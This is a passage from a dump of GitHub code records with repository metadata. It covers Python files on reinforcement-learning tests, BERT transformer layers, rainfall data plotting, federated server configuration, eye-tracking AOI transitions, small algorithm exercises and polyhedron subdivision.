S.ExponentialScheduler(0.0, agent_config[\"perturbation_decay\"]),\n S.ExponentialScheduler(0.0, agent_config[\"perturbation_decay\"]),\n seed=seed,\n ),\n experience=ExperienceReplay(maxlen=Tlimit, sample_size=1.0),\n update_strategy=Tlimit,\n cho_before_update=True,\n )\n )\n results_actual = LstdQLearningAgent.train(\n agent_actual,\n env=env,\n episodes=2,\n seed=seed + 1,\n )\n\n np.testing.assert_allclose(results_actual, results_expected[1].flatten())\n for n, weights in agent_actual.updates_history.items():\n np.testing.assert_allclose(weights, agent_expected.weights_history[n])\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"FilippoAiraldi/mpc-reinforcement-learning","sub_path":"tests/test_quadrotor_q_learning.py","file_name":"test_quadrotor_q_learning.py","file_ext":"py","file_size_in_byte":48471,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"79"} +{"seq_id":"29130687420","text":"import torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nimport math\n\n\ndef gelu(x):\n \"\"\" gelu激活函数\n 在GPT架构中，使用的是gelu函数的近似版本，公式如下:\n 0.5 * x * (1 + torch.tanh(math.sqrt(2 / math.pi) * (x + 0.044715 * torch.pow(x, 3))))\n 这里是直接求的解析解，就是原始论文给出的公式\n 论文 https://arxiv.org/abs/1606.08415\n \"\"\"\n return x * 0.5 * (1.0 + torch.erf(x / math.sqrt(2.0)))\n\n\ndef swish(x):\n return x * torch.sigmoid(x)\n\n\nactivations = {\"gelu\": gelu, \"relu\": F.relu, \"swish\": swish}\n\n\nclass LayerNorm(nn.Module):\n def __init__(self, hidden_size, eps=1e-12, conditional=False):\n \"\"\"layernorm 层，这里自行实现，目的是为了兼容 conditianal layernorm，使得可以做条件文本生成、条件分类等任务\n 条件layernorm来自于苏剑林的想法，详情：https://spaces.ac.cn/archives/7124\n \"\"\"\n super(LayerNorm, self).__init__()\n self.weight = nn.Parameter(torch.ones(hidden_size))\n self.bias = nn.Parameter(torch.zeros(hidden_size))\n self.eps = eps\n self.conditional = conditional\n if conditional:\n # 条件layernorm, 用于条件文本生成,\n # 这里采用全零初始化, 目的是在初始状态不干扰原来的预训练权重\n self.dense1 = nn.Linear(2 * hidden_size, hidden_size, bias=False)\n self.dense1.weight.data.uniform_(0, 0)\n self.dense2 = nn.Linear(2 * hidden_size, hidden_size, bias=False)\n self.dense2.weight.data.uniform_(0, 0)\n\n def forward(self, x):\n if self.conditional:\n inputs = x[0]\n cond = x[1]\n for _ in range(len(inputs.shape) - len(cond.shape)):\n cond = cond.unsqueeze(dim=1)\n u = inputs.mean(-1, keepdim=True)\n s = (inputs - u).pow(2).mean(-1, keepdim=True)\n x = (inputs - u) / torch.sqrt(s + self.eps)\n return (self.weight + self.dense1(cond)) * x + (self.bias + self.dense2(cond))\n else:\n u = x.mean(-1, keepdim=True)\n s = (x - u).pow(2).mean(-1, keepdim=True)\n x = (x - u) / torch.sqrt(s + self.eps)\n return self.weight * x + self.bias\n\n\nclass MultiHeadAttentionLayer(nn.Module):\n def __init__(self, hidden_size, num_attention_heads, dropout_rate, attention_scale=True,\n return_attention_scores=False):\n super(MultiHeadAttentionLayer, self).__init__()\n\n assert hidden_size % num_attention_heads == 0\n\n self.hidden_size = hidden_size\n self.num_attention_heads = num_attention_heads\n self.attention_head_size = int(hidden_size / num_attention_heads)\n self.attention_scale = attention_scale\n self.return_attention_scores = return_attention_scores\n\n self.q = nn.Linear(hidden_size, hidden_size)\n self.k = nn.Linear(hidden_size, hidden_size)\n self.v = nn.Linear(hidden_size, hidden_size)\n\n self.o = nn.Linear(hidden_size, hidden_size)\n\n self.dropout = nn.Dropout(dropout_rate)\n\n def transpose_for_scores(self, x):\n new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)\n x = x.view(*new_x_shape)\n return x.permute(0, 2, 1, 3)\n\n def forward(self, query, key, value, attention_mask=None):\n\n # query shape: [batch_size, query_len, hidden_size]\n # key shape: [batch_size, key_len, hidden_size]\n # value shape: [batch_size, value_len, hidden_size]\n # 一般情况下，query_len、key_len、value_len三者相等\n\n mixed_query_layer = self.q(query)\n mixed_key_layer = self.k(key)\n mixed_value_layer = self.v(value)\n\n # mixed_query_layer shape: [batch_size, query_len, hidden_size]\n # mixed_query_layer shape: [batch_size, key_len, hidden_size]\n # mixed_query_layer shape: [batch_size, value_len, hidden_size]\n\n query_layer = self.transpose_for_scores(mixed_query_layer)\n key_layer = self.transpose_for_scores(mixed_key_layer)\n value_layer = self.transpose_for_scores(mixed_value_layer)\n\n # query_layer shape: [batch_size, num_attention_heads, query_len, attention_head_size]\n # key_layer shape: [batch_size, num_attention_heads, key_len, attention_head_size]\n # value_layer shape: [batch_size, num_attention_heads, value_len, attention_head_size]\n\n # 交换k的最后两个维度，然后q和k执行点积, 获得attention score\n attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))\n\n # attention_scores shape: [batch_size, num_attention_heads, query_len, key_len]\n\n # 是否进行attention scale\n if self.attention_scale:\n attention_scores = attention_scores / math.sqrt(self.attention_head_size)\n # 执行attention mask，对于mask为0部分的attention mask，\n # 值为-1e10，经过softmax后，attention_probs几乎为0，所以不会attention到mask为0的部分\n if attention_mask is not None:\n # attention_scores = attention_scores.masked_fill(attention_mask == 0, -1e10)\n attention_mask = (1.0 - attention_mask) * -10000.0\n attention_scores = attention_scores + attention_mask\n\n # 将attention score 归一化到0-1\n attention_probs = nn.Softmax(dim=-1)(attention_scores)\n\n attention_probs = self.dropout(attention_probs)\n\n context_layer = torch.matmul(attention_probs, value_layer)\n\n # context_layer shape: [batch_size, num_attention_heads, query_len, attention_head_size]\n\n # transpose、permute等维度变换操作后，tensor在内存中不再是连续存储的，而view操作要求tensor的内存连续存储，\n # 所以在调用view之前，需要contiguous来返回一个contiguous copy；\n context_layer = context_layer.permute(0, 2, 1, 3).contiguous()\n\n # context_layer shape: [batch_size, query_len, num_attention_heads, attention_head_size]\n\n new_context_layer_shape = context_layer.size()[:-2] + (self.hidden_size,)\n context_layer = context_layer.view(*new_context_layer_shape)\n\n # 是否返回attention scores\n if self.return_attention_scores:\n # 这里返回的attention_scores没有经过softmax, 可在外部进行归一化操作\n return self.o(context_layer), attention_scores\n else:\n return self.o(context_layer)\n\n\nclass PositionWiseFeedForward(nn.Module):\n def __init__(self, hidden_size, intermediate_size, dropout_rate=0.5, hidden_act='gelu', is_dropout=True):\n # 原生的tf版本的bert在激活函数后，没有添加dropout层，但是在google AI的bert-pytorch开源项目中，多了一层dropout；\n # 并且在pytorch官方的TransformerEncoderLayer的实现中，也有一层dropout层，就像这样：self.linear2(self.dropout(self.activation(self.linear1(src))))；\n # 这样不统一做法的原因不得而知，不过有没有这一层，差别可能不会很大；\n\n # 为了适配是否dropout，用is_dropout，dropout_rate两个参数控制；如果是实现原始的transformer，直接使用默认参数即可；如果是实现bert，则is_dropout为False，此时的dropout_rate参数并不会使用.\n super(PositionWiseFeedForward, self).__init__()\n\n self.is_dropout = is_dropout\n self.intermediate_act_fn = activations[hidden_act]\n self.intermediateDense = nn.Linear(hidden_size, intermediate_size)\n self.outputDense = nn.Linear(intermediate_size, hidden_size)\n if self.is_dropout:\n self.dropout = nn.Dropout(dropout_rate)\n\n def forward(self, x):\n # x shape: (batch size, seq len, hidden_size)\n if self.is_dropout:\n x = self.dropout(self.intermediate_act_fn(self.intermediateDense(x)))\n else:\n x = self.intermediate_act_fn(self.intermediateDense(x))\n\n # x shape: (batch size, seq len, intermediate_size)\n x = self.outputDense(x)\n\n # x shape: (batch size, seq len, hidden_size)\n return x\n","repo_name":"MuQiuJun-AI/bert4pytorch","sub_path":"bert4pytorch/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":8184,"program_lang":"python","lang":"en","doc_type":"code","stars":373,"dataset":"github-code","pt":"79"} +{"seq_id":"8834712574","text":"# import data into a numpy array\r\n\r\nimport numpy as np\r\n\r\ndata_array = np.genfromtxt(\"python_language_1_data.csv\", delimiter=\",\", names=True,\r\n dtype=[int, int, float])\r\n\r\nrainfall = \"rainfall_mmday\"\r\n\r\n# store end years\r\nfirst_year = data_array[0][0]\r\nlast_year = data_array[-1][0]\r\n\r\n# create a year key for dictionary\r\nyear_tuple = tuple(range(first_year, last_year + 1))\r\n\r\n# create dictionary, with year keys and empty list values\r\ndata_dic = {}\r\n\r\nfor year in year_tuple:\r\n data_dic[year] = [] \r\n\r\n# iterate through rows, adding rainfall data to appropriate year list of dictionary\r\n'''\r\n# alternative version\r\nfor day in range(data_array.size):\r\n data_dic[data_array[day][0]].append(data_array[day][2])\r\n'''\r\nfor day in data_array:\r\n data_dic[day[0]].append(day[2])\r\n\r\n\r\n#export dictionary to json\r\n\r\nimport json\r\n\r\nwith open('python_language_1_data.json', 'w') as json_file:\r\n json.dump(data_dic, json_file, indent=4)\r\n\r\n# function to create a plot in png format of rainfall across a year,\r\n# takes a json file, year, and optional colour\r\n \r\nfrom matplotlib import pyplot as plt\r\n\r\ndef plot_from_json(filename, year, colour='green'):\r\n \r\n with open(filename, 'r') as f:\r\n temp_string = f.read()\r\n \r\n plot_data_dic = json.loads(temp_string)\r\n plot_data = plot_data_dic[year]\r\n \r\n year_graph, year_graph_axes = plt.subplots()\r\n \r\n # attempt to plot graph, raise error if colour input is invalid\r\n try:\r\n year_graph_axes.plot(plot_data, color = colour)\r\n except ValueError:\r\n pass\r\n \r\n year_graph_axes.set_title(\"Average daily rainfall for 1988\")\r\n year_graph_axes.set_ylabel(\"rainfall / mmday\")\r\n year_graph_axes.set_xlabel(\"day\")\r\n \r\n # save as .png\r\n year_graph.savefig('year_rainfall_graph.png')\r\n\r\n#plot a chart for 1998, and export plot as png file, with magenta line \r\nplot_from_json('python_language_1_data.json', '1998', 'magenta')\r\n\r\n\r\n#write a function to plot a graph of yearly mean rainfall for a custom period\r\ndef mean_from_list(num_list):\r\n return (sum(num_list) / len(num_list))\r\n\r\ndef yearly_mean_plot(filename, start_year, end_year):\r\n \r\n with open(filename, 'r') as f:\r\n temp_string = f.read()\r\n\r\n plot_data_dic = json.loads(temp_string)\r\n \r\n cust_year_list = list(range(int(start_year), int(end_year) + 1)) \r\n year_mean_list = []\r\n for year in cust_year_list:\r\n year_mean = mean_from_list(plot_data_dic[str(year)])\r\n year_mean_list.append(year_mean)\r\n \r\n custom_graph, custom_graph_axes = plt.subplots()\r\n \r\n custom_graph_axes.plot(cust_year_list, year_mean_list)\r\n \r\n custom_graph_axes.set_title(\"Yearly rainfall averages from {} to {}\".format(start_year, end_year))\r\n custom_graph_axes.set_ylabel(\"average rainfall / mm per day\")\r\n custom_graph_axes.set_xlabel(\"year\")\r\n \r\n # save as .png custom_graph.savefig('custom_rainfall_graph.png')\r\n custom_graph.savefig('mean_rainfall_graph.png')\r\n\r\n#prod a plot 1988-2000 inclusive\r\nyearly_mean_plot('python_language_1_data.json', '1988', '2000')\r\n\r\n\r\n\r\n# function to apply correction code: (rainfall_value * 1.2 ^ root(2))\r\ndef rain_corrector(rain_value):\r\n root_two = 2**(1/2)\r\n correct_rain_value = rain_value * (1.2 ** root_two) \r\n return correct_rain_value\r\n\r\n# function to correct all of the data for a given year (v1 - using a for loop)\r\ndef year_corrector_loop(filename, year):\r\n # import dictionary\r\n with open(filename, 'r') as f:\r\n temp_string = f.read()\r\n bad_data_dic = json.loads(temp_string)\r\n \r\n for v_index in range(len(bad_data_dic[year])):\r\n bad_entry = bad_data_dic[year][v_index]\r\n fixed_entry = rain_corrector(bad_entry)\r\n bad_data_dic[year][v_index] = fixed_entry\r\n \r\n# for rain_value in bad_data_dic[str(year)]:\r\n# bad_data_dic[str(year)][v_index] = rain_corrector(day)\r\n \r\n \r\n with open('fixed_rain_data_loop.json', 'w') as fixed_json_file:\r\n json.dump(bad_data_dic, fixed_json_file, indent=4)\r\n \r\n# test corrector loop version\r\nyear_corrector_loop('python_language_1_data.json', '2000')\r\n\r\n# function to correct all of the data for a given year (v2 - using a list comp)\r\ndef year_corrector_comp(filename, year):\r\n # import dictionary\r\n with open(filename, 'r') as f:\r\n temp_string = f.read()\r\n bad_data_dic = json.loads(temp_string)\r\n \r\n fixed_year = [rain_corrector(entry) for entry in bad_data_dic[year]]\r\n \r\n bad_data_dic[year] = fixed_year\r\n \r\n with open('fixed_rain_data_comp.json', 'w') as fixed_json_file:\r\n json.dump(bad_data_dic, fixed_json_file, indent=4)\r\n\r\n# test corrector comp version\r\nyear_corrector_comp('python_language_1_data.json', '1942')\r\n'''\r\nThe loop version benefits from spreading out the operations,\r\nwhich can make them easier to follow.\r\n\r\nThe list comprehension version benefits from conciseness,\r\nand general readibility\r\n'''\r\n\r\n\r\n'''\r\nspare code:\r\n #clear figure\r\n year_graph.clf()\r\n\r\n'''","repo_name":"cji1/Exam-Prep","sub_path":"lang/rainfall.py","file_name":"rainfall.py","file_ext":"py","file_size_in_byte":5073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"74009725374","text":"from typing import OrderedDict\n\nfrom mindspore_federated._mindspore_federated import VFLContext\n\nfrom ..common import check_type\n\n\nclass ServerConfig:\n \"\"\"\n Define the vertical server configuration.\n\n Args:\n server_name (str): Name of server, such as \"leader_server\", user defined.\n server_address (str): Address of server, such as 127.0.0.1:1086, user defined.\n \"\"\"\n def __init__(self, server_name, server_address):\n check_type.check_str(\"server_name\", server_name)\n check_type.check_str(\"server_address\", server_address)\n self.server_name = server_name\n self.server_address = server_address\n\n\ndef init_server_config(http_server_config, remote_server_config):\n \"\"\"\n Initialize local server configuration and remote server configuration.\n\n Args:\n http_server_config (ServerConfig): Configuration of local http server.\n remote_server_config (ServerConfig): Configuration of remote http server.\n \"\"\"\n ctx = VFLContext.get_instance()\n check_type.check_str(\"http_server_config.server_name\", http_server_config.server_name)\n check_type.check_str(\"http_server_config.server_address\", http_server_config.server_address)\n ctx.set_http_server_name(http_server_config.server_name)\n ctx.set_http_server_address(http_server_config.server_address)\n\n remote_server_dict = OrderedDict()\n if isinstance(remote_server_config, ServerConfig):\n check_type.check_str(\"remote_server_config.server_name\", remote_server_config.server_name)\n check_type.check_str(\"remote_server_config.server_address\", remote_server_config.server_address)\n remote_server_dict[remote_server_config.server_name] = remote_server_config.server_address\n\n elif isinstance(remote_server_config, list):\n for item in remote_server_config:\n check_type.check_str(\"remote_server_config.server_name\", item.server_name)\n check_type.check_str(\"remote_server_config.server_address\", item.server_address)\n remote_server_dict[item.server_name] = item.server_address\n ctx.set_remote_server_address(remote_server_dict)\n","repo_name":"gaoyang-zhang/mindspore-federated","sub_path":"mindspore_federated/fl_arch/python/mindspore_federated/startup/server_config.py","file_name":"server_config.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"2979631773","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis file deals with AOI pattern recognition for an interpretation purpose.\n\"\"\"\n\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n IMPORTS\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nimport Constants as const\nimport pandas as pd\nimport numpy as np\n\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n FUNCTIONS\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\ndef clean_AOI(full_pd, seuil):\n \"\"\"\n This function will compress all the data to keep only the first row for each AOI, allowing to detect patterns after\n\n Parameters\n ----------\n full_pd : TYPE\n DESCRIPTION.\n seuil : TYPE\n DESCRIPTION.\n\n Returns\n -------\n clean : TYPE\n DESCRIPTION.\n\n \"\"\"\n full_pd=full_pd.copy(deep=True)\n clean = full_pd.loc[(full_pd.loc[:,\"AOI\"].shift() != full_pd.loc[:,\"AOI\"])].copy(deep=True)\n clean.loc[:,\"delta\"]=(-clean[\"FD_TIME_S\"]+clean[\"FD_TIME_S\"].shift(-1)).fillna(0)\n clean=clean.loc[(clean[\"delta\"]>seuil)]\n\n clean.reset_index(drop=True,inplace=True)\n return clean\n\n\n\n\ndef count_transitions(AOI_pd):\n \"\"\"\n\n\n Parameters\n ----------\n AOI_pd : TYPE\n DESCRIPTION.\n\n Returns\n -------\n pivot : TYPE\n DESCRIPTION.\n transition : TYPE\n DESCRIPTION.\n\n \"\"\"\n AOI_pd[\"next_AOI\"]=AOI_pd.loc[:,\"AOI\"].shift(-1,fill_value=\"0\")\n AOI_pd[\"prev_AOI\"]=AOI_pd[\"AOI\"].shift(1,fill_value=\"0\")\n AOI_pd[\"transition\"]=AOI_pd[\"AOI\"]+\"=>\"+AOI_pd[\"next_AOI\"]\n AOI_pd[\"prev_transition\"]=AOI_pd[\"prev_AOI\"]+\"=>\"+AOI_pd[\"AOI\"]\n\n AOI=AOI_pd.drop_duplicates(subset=\"AOI\").sort_values(\"AOI\").set_index(\"AOI\")\n\n transition=AOI_pd.drop_duplicates(subset=\"transition\").sort_values(\"transition\").set_index(\"transition\")\n transition.loc[:,\"count\"]=0\n transition.loc[:,\"average_time_bef\"]=0\n transition.loc[:,\"average_time_aft\"]=0\n transition.loc[:,\"%from\"]=0 # Depuis l'AOI de départ, % de fois ou on arrive à AOI arrivé\n transition.loc[:,\"%to\"]=0 # D'ou vient on depuis cet AOI d'arrivé\n transition.loc[:,\"%count\"]=0\n\n for a in transition.index:\n AOI1=transition.loc[a,\"AOI\"]\n AOI2=transition.loc[a,\"next_AOI\"]\n transition.loc[a:,\"count\"]=AOI_pd.loc[a==AOI_pd[\"transition\"]].count()[\"transition\"]\n transition.loc[a:,\"average_time_bef\"]=AOI_pd.loc[a==AOI_pd[\"transition\"],\"delta\"].mean()\n transition.loc[a:,\"average_time_aft\"]=AOI_pd.loc[a==AOI_pd[\"prev_transition\"],\"delta\"].mean()\n transition.loc[a,\"%from\"]=int((100*transition.loc[a,\"count\"]/AOI_pd.loc[AOI_pd[\"AOI\"]==AOI1].count()[\"AOI\"]))\n transition.loc[a,\"%to\"]=int((100*transition.loc[a,\"count\"]/AOI_pd.loc[AOI_pd[\"next_AOI\"]==AOI2].count()[\"next_AOI\"]))\n for b in transition.index:\n transition.loc[b,\"%count\"]=int((100*transition.loc[b,\"count\"]/transition[\"count\"].sum()))\n\n ind=[a for a in AOI.index]\n col=ind.copy()\n col.append(\"0\")\n pivot=pd.DataFrame(index=col,columns=ind)\n pivot.fillna(0,inplace=True)\n for i in ind:\n for j in col:\n a=i+\"=>\"+j\n\n if a in transition.index:\n pivot.loc[j,i]=transition.loc[a,\"%from\"]\n pivot=pivot.astype(int)\n transition.drop(columns=[\"AOI\",\"FD_TIME_S\",\"next_AOI\",\"average_time_aft\",\"prev_AOI\",\"prev_transition\"],inplace=True)\n return pivot,transition\n\n\n\n\ndef tete_fixe_tunnel(aois,t1,t2):\n \"\"\"\n\n\n Parameters\n ----------\n aois : TYPE\n DESCRIPTION.\n t1 : TYPE\n DESCRIPTION.\n t2 : TYPE\n DESCRIPTION.\n\n Returns\n -------\n fixe : TYPE\n DESCRIPTION.\n\n \"\"\"\n ref=aois.loc[t1,\"AOI\"]\n fixe=(aois.loc[aois.loc[:, \"FD_TIME_S\"]t1,\"AOI\"]==ref).all()\n return fixe\n\n\ndef tete_fixe(data,t1,t2,seuil=const.SEUIL_TETE_FIXE):\n \"\"\"\n\n\n Parameters\n ----------\n data : TYPE\n DESCRIPTION.\n t1 : TYPE\n DESCRIPTION.\n t2 : TYPE\n DESCRIPTION.\n seuil : TYPE, optional\n DESCRIPTION. The default is const.SEUIL_TETE_FIXE.\n\n Returns\n -------\n fixe : TYPE\n DESCRIPTION.\n\n \"\"\"\n local=data.loc[data[\"FD_TIME_S\"]t1,[\"FD_PILOT_HEAD_HEADING\",\"FD_PILOT_HEAD_PITCH\"]]\n mean=local.mean()\n fixe=((abs(local-mean)>seuil).all()).all()\n return fixe\n\ndef count_AOI(AOI_pd,full_pd):\n \"\"\"\n\n\n Parameters\n ----------\n AOI_pd : TYPE\n DESCRIPTION.\n full_pd : TYPE\n DESCRIPTION.\n\n Returns\n -------\n AOI : TYPE\n DESCRIPTION.\n\n \"\"\"\n AOI=AOI_pd.drop_duplicates(subset=\"AOI\").sort_values(\"AOI\").set_index(\"AOI\")\n AOI[\"count\"]=0\n AOI[\"average_time\"]=0\n AOI[\"total_time\"]=0\n AOI[\"%_time\"]=0\n total_time=full_pd[\"FD_TIME_S\"].max()-full_pd[\"FD_TIME_S\"].min()\n\n for a in AOI.index:\n AOI.loc[a,\"count\"]=AOI_pd.loc[a==AOI_pd[\"AOI\"]].count()[\"AOI\"]\n AOI.loc[a,\"average_time\"]=AOI_pd.loc[a==AOI_pd[\"AOI\"],\"delta\"].mean()\n AOI.loc[a,\"total_time\"]=AOI_pd.loc[a==AOI_pd[\"AOI\"],\"delta\"].sum()\n AOI.loc[:,\"%_time\"]=(100*AOI[\"total_time\"]/total_time).astype(int)\n return AOI\n\n\n\n\ndef chain_AOI(pivot,liste_aoi):\n \"\"\"\n\n\n Parameters\n ----------\n pivot : TYPE\n DESCRIPTION.\n liste_aoi : TYPE\n DESCRIPTION.\n\n Returns\n -------\n aoi_chain : TYPE\n DESCRIPTION.\n\n \"\"\"\n aois=pivot.index.copy().to_numpy()\n liste_aois=\"\".join(liste_aoi)\n aoi_chain=pd.DataFrame(columns=[\"count\"])\n for i in aois:\n for j in np.delete(aois,np.where(aois==i)):\n if liste_aois.count(i+j)>0:\n for k in np.delete(aois,np.where(aois==j)):\n if liste_aois.count(i+j+k)>0:\n temp=liste_aois.count(i+j+k)\n if temp>0 :\n aoi_chain.loc[i+j+k,\"count\"]=temp\n\n aoi_chain[\"pourcent\"]=100*aoi_chain.loc[:,\"count\"]/aoi_chain[\"count\"].sum()\n aoi_chain=aoi_chain.loc[aoi_chain[\"pourcent\"]>1]\n return aoi_chain","repo_name":"NatanVachon/PIE-018","sub_path":"DataAnalysis/Features/Pattern_From_AOI.py","file_name":"Pattern_From_AOI.py","file_ext":"py","file_size_in_byte":6336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"35439081580","text":"def solution(answers):\n n = len(answers)\n s1 = [1, 2, 3, 4, 5]\n s2 = [2, 1, 2, 3, 2, 4, 2, 5]\n s3 = [3, 3, 1, 1, 2, 2, 4, 4, 5, 5]\n answer = []\n\n score = [0, 0, 0]\n max_score = 0\n\n for i in range(n):\n if answers[i] == s1[i%5]:\n score[0] += 1\n if answers[i] == s2[i%8]:\n score[1] += 1\n if answers[i] == s3[i%10]:\n score[2] += 1\n\n for idx, j in enumerate(score):\n if j > max_score:\n answer = [idx+1]\n max_score = j\n elif j == max_score:\n answer.append(idx+1)\n\n return answer\n\n\n\nanswers2 = [1,2,3,4,5]\nanswers = [1,3,2,4,2]\nprint(solution(answers))","repo_name":"Mingdoo/coding_test_boom","sub_path":"210912/smile/모의고사.py","file_name":"모의고사.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"32274320880","text":"def is_same_tree(inorder, preorder, postorder):\n if len(inorder) != len(preorder) or len(inorder) != len(postorder):\n return False\n\n if len(inorder) == 0:\n return True\n\n if len(inorder) == 1:\n return inorder[0] == preorder[0] == postorder[0]\n\n if set(inorder) != set(preorder) or set(inorder) != set(postorder):\n return False\n\n root = preorder[0]\n root_index = inorder.index(root)\n\n left_inorder = inorder[:root_index]\n right_inorder = inorder[root_index + 1:]\n\n left_preorder = preorder[1:root_index + 1]\n right_preorder = preorder[root_index + 1:]\n\n left_postorder = postorder[:root_index]\n right_postorder = postorder[root_index:-1]\n\n return is_same_tree(left_inorder, left_preorder, left_postorder) and \\\n is_same_tree(right_inorder, right_preorder, right_postorder)\n\n\n# Test Case 1\ninorder1 = [4, 2, 5, 1, 3]\npreorder1 = [1, 2, 4, 5, 3]\npostorder1 = [4, 5, 2, 3, 1]\nprint(is_same_tree(inorder1, preorder1, postorder1)) # Output: True\n\n# Test Case 2\ninorder2 = [4, 2, 5, 1, 3]\npreorder2 = [1, 5, 4, 2, 3]\npostorder2 = [4, 1, 2, 3, 5]\nprint(is_same_tree(inorder2, preorder2, postorder2)) # Output: False\n","repo_name":"Krutheesh/Placement_Assignment_Krutheesh","sub_path":"DSA/assignment22/four.py","file_name":"four.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"25975508251","text":"#!/usr/bin/env python3\n#coding: utf-8\n### 1st line allows to execute this script by typing only its name in terminal, with no need to precede it with the python command\n### 2nd line declaring source code charset should be not necessary but for exemple pydoc request it\n\n\n\n__doc__ = \"This module concern volumes.\"#information describing the purpose of this module\n__status__ = \"Development\"#should be one of 'Prototype' 'Development' 'Production' 'Deprecated' 'Release'\n__version__ = \"2.0.0\"# version number,date or about last modification made compared to the previous version\n__license__ = \"public domain\"# ref to an official existing License\n#__copyright__ = \"Copyright 2000, The X Project\"\n__date__ = \"2016\"#started creation date / year month day\n__author__ = \"N-zo syslog@laposte.net\"#the creator origin of this prog,\n__maintainer__ = \"Nzo\"#person who curently makes improvements, replacing the author\n__credits__ = []#passed mainteners and any other helpers\n__contact__ = \"syslog@laposte.net\"# current contact adress for more info about this file\n\n\n\n### import the required modules\n#import antiprism_python # a collection of geometry \n\nfrom math import sqrt\nfrom numpy import array\n\n\n\n### ICOSAHEDRON\nPHI = (sqrt(5) + 1) / 2\nRAD = sqrt(PHI+2)\nA = 1/RAD\nB = PHI/RAD\nICO_VERTEX=[ (-A,0,B),(A,0,B),(-A,0,-B),(A,0,-B),(0,B,A),(0,B,-A),\n(0,-B,A),(0,-B,-A),(B,A,0),(-B,A,0),(B,-A,0),(-B,-A,0) ]\nICO_FACES=[ (1,4,0),(4,9,0),(4,5,9),(8,5,4),(1,8,4),\n(1,10,8),(10,3,8),(8,3,5),(3,2,5),(3,7,2),\n(3,10,7),(10,6,7),(6,11,7),(6,0,11),(6,1,0),\n(10,1,6),(11,0,9),(2,11,9),(5,2,9),(11,2,7) ]\n\n### TETRAHEDRON\nC= 1 / sqrt(3)\nTETRA_VERTEX=[(-C,C,-C),(-C,-C,C),(C,C,C),(C,-C,-C)]\nTETRA_FACES=[(0,2,1),(3,0,1),(3,1,2),(0,2,3)]\n\n\n\ndef normaliz(vector):\n\tlong= sqrt( sum(vector**2) )\n\treturn vector/long\n\n\ndef iterator(qantum,vertex_list,face_list):\n\twhile qantum:\n\t\tnew_face_list=[]\n\t\tfor face in face_list :\n\n\t\t\ta=array(vertex_list[face[0]])\n\t\t\tb=array(vertex_list[face[1]])\n\t\t\tc=array(vertex_list[face[2]])\n\t\t\t\n\t\t\tna= tuple(normaliz( (a+b)/2. ))\n\t\t\tnb= tuple(normaliz( (b+c)/2. ))\n\t\t\tnc= tuple(normaliz( (c+a)/2. ))\n\t\t\t\n\t\t\tindex=[]\n\t\t\tfor v in [na,nb,nc] :\n\t\t\t\tif v in vertex_list :\n\t\t\t\t\ti=vertex_list.index(v)\n\t\t\t\t\t#print(\"in list\")\n\t\t\t\telse :\n\t\t\t\t\ti=len(vertex_list)\n\t\t\t\t\tvertex_list.append(v)\n\t\t\t\tindex.append(i)\n\t\t\t\n\t\t\tfa=(face[0],index[0],index[2])\n\t\t\tfb=(face[1],index[1],index[0])\n\t\t\tfc=(face[2],index[2],index[1])\n\t\t\tfd=(index[0],index[1],index[2])\n\t\t\t\n\t\t\tnew_face_list.extend([fa,fb,fc,fd])\n\t\tface_list=new_face_list\n\t\tqantum-=1\n\treturn vertex_list,tuple(face_list)\n","repo_name":"N-z0/commonz","sub_path":"src/geometry/polyhedra.py","file_name":"polyhedra.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"36663042334","text":"#! /usr/bin/env python3\n\nimport difflib\nimport requests\n\nwith open(\"expected_binding.py\") as f:\n # remove \\n from end of each line\n expected_binding = [line.rstrip() for line in f]\n\n\nsource = 